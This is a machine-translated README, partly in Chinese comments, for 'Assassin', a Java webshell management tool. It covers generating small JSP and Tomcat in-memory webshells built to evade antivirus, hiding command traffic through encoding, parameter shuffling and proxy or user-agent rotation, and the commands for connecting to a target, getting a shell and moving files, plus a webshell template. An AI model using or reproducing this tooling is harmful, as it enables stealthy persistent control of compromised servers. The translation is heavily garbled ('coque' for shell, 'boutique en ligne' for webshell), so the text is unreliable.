Assassin est un outil de gestion de coque en ligne de commande rationalisé. Il dispose d'une variété de méthodes d'envoi et de codage de charge utile, ainsi que du code de charge utile rationalisée, ce qui en fait un assassin caché et difficile d'être bien défendu.
Les outils sont courts et concises, et le webshell généré peut être plus courant et en tuant de douceur, minimisant les caractéristiques du trafic de l'interaction après la connexion, et la méthode d'envoi de charge utile spécifique peut être personnalisée. En raison de l'énergie personnelle limitée, Parce que je suis paresseux et , le serveur ne prend en charge que Java.
Déclaration: Il s'agit principalement de la pénétration légale ou des compétitions de TRA pour les étudiants autorisés par le personnel de la cybersécurité. Personne ne doit l'utiliser à des fins illégales ou à des fins de bénéfice, sinon les conséquences seront supportées par elles-mêmes.
[1] La volet Web générée peut être plus courante que le tueur de logiciels (les modèles de webshell peuvent être personnalisés et modifiés)
[2] Le webshell n'a que 1 Ko de taille. Le client et le serveur n'ont besoin de charger le code d'octets qu'une seule fois pour le même type de communication, et le trafic ultérieur transmet uniquement les commandes.
[3] La charge utile peut être envoyée de quatre manières: obtenir, publier, cookie et mélange. Il peut être modifié dynamiquement et le trafic est très déroutant.
[4] Le trafic interactif entre le client et le serveur prend en charge plusieurs méthodes de codage, qui peuvent être modifiées dynamiquement
[5] Les noms de paramètres et la quantité envoyés par charge utile peuvent être personnalisés, prenant en charge des agents IP aléatoires et des agents utilisateur
Logiciel similaire au mode opération MSF




Cookies: 
poste: 
mixte: 
obtenir: 
En plus de la méthode des cookies, obtenir, publier et mixtes peut modifier dynamiquement la méthode d'envoi après l'établissement d'une connexion, sans modifier le serveur.
Demande Encoding:
Encodage de réponse:
La méthode de codage de la réponse peut être modifiée dynamiquement
Serveur: JRE 1.5 et plus
Client: JDK 1.8 et plus
{
"paramNames" : [ " user " , " file " , " id " , " eid " , " wd " , " ie " , " oq " , " name " , " son " ],
// get、post、mixed请求参数名的随机池
"cookieNames" : [ " fid " , " uuid " , " eid " , " home " , " ief " , " fl " , " oop " ],
// cookie请求参数名的随机池
"headers" :{
"Accept" : " text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 " ,
"Accept-Encoding" : " gzip, deflate, br " ,
"Accept-Language" : " Accept-Language: zh-CN,zh;q=0.9 " ,
"Upgrade-Insecure-Requests" : " 1 "
},
// http头部
"partNum" : 3 ,
// payload首次发送的分块数量
"argNum" : 5 ,
// 每次请求的参数个数,不能超过paramNames或者cookieNames的参数个数
"startRandomUserAgent" : false ,
// 是否随机useragent
"startIpAgents" : false ,
// 是否开启ip池代理模式
"startColor" : true
// 是否启用命令行颜色
}Random UserAgent utilise l'UserAgent dans ./UserAgents.txt. Après l'ouverture, l'UserAgent sera remplacé chaque fois que la demande est activée. Il est généralement utilisé avec l'agent IP. Lorsqu'il est fermé, une session de webshell est démarrée avec la commande de session à chaque fois.
Le pool de proxy IP utilise ./ipagents.txt, le format est ip:posr;username:password . Si l'authentification n'est pas requise, ip:port ira bien. Après ouverture, un proxy sera sélectionné dans chaque demande.
Conseil: veuillez fermer "startColor" après que l'utilisateur Windows a commencé le code brouillé, ou utilisez Windows Terminal pour démarrer
Toutes les commandes sont relativement simples à utiliser, vous pouvez afficher les paramètres via la commande d'aide

help [command] Afficher une aide spécifique Aide

Commencez par startup.bat ou startup.sh
new java 123 cookie
# 生成密码为123 发送方式为cookie的普通jsp木马
new java pass post reqEncode=base36 tamper=tomcat9_filter
# 生成密码为pass 发送方式为post 请求用base36编码的tomcat9 filter内存马 Conseils: il existe de nombreux paramètres pour ADD et de nouvelles commandes, et les paramètres facultatifs enveloppés dans les supports peuvent également être attribués avec KEY = Value.
Ensuite, une fenêtre contextuelle sélectionnera l'emplacement de sauvegarde

Téléchargez la cote Web sur le serveur cible
add http://192.168.48.130:8080/1.jsp 123 java method=cookie resEncode=base36
# 添加webshell 密码123 java马 cookie传参 请求编码默认base64 响应编码base36 show le numéro d'identification de la vue 
session 1 Connectez-vous à la boutique en ligne

Lorsque vous voyez les modifications de l'invite, vous pouvez exécuter la commande des commandes de contrôleur de webshell!
Assassin | java > getshell
Assassin | java | C: a pache-tomcat-9.0.54 b in > dirTélécharger le fichier
upload # 没参数默认传到当前目录
Sélectionnez le fichier à télécharger
download ./test.txt La même chose s'applique



La première partie est remplie de {@key}, représentant le mot de passe de la cote
La deuxième partie est remplie de {@getValue}, qui représente le code qui obtient la demande à la charge utile
La troisième partie est remplie de {@decode}, représentant le code de décodage
Le modèle est le suivant:
String k = "{@key}" ; // aes密钥 123456 md5的前16位
String r = "" ; //密文payload存放位置,这个参数名必须为r,其他的无所谓
// 取密文
{ @ getvalue }
byte [] cText = { @ decode };Si l'autre logique principale reste inchangée, vous pouvez vous connecter avec succès.
Exemple
Veuillez consulter le modèle de cheval à mémoire de filtre de Tomcat sous la boutique en ligne / java /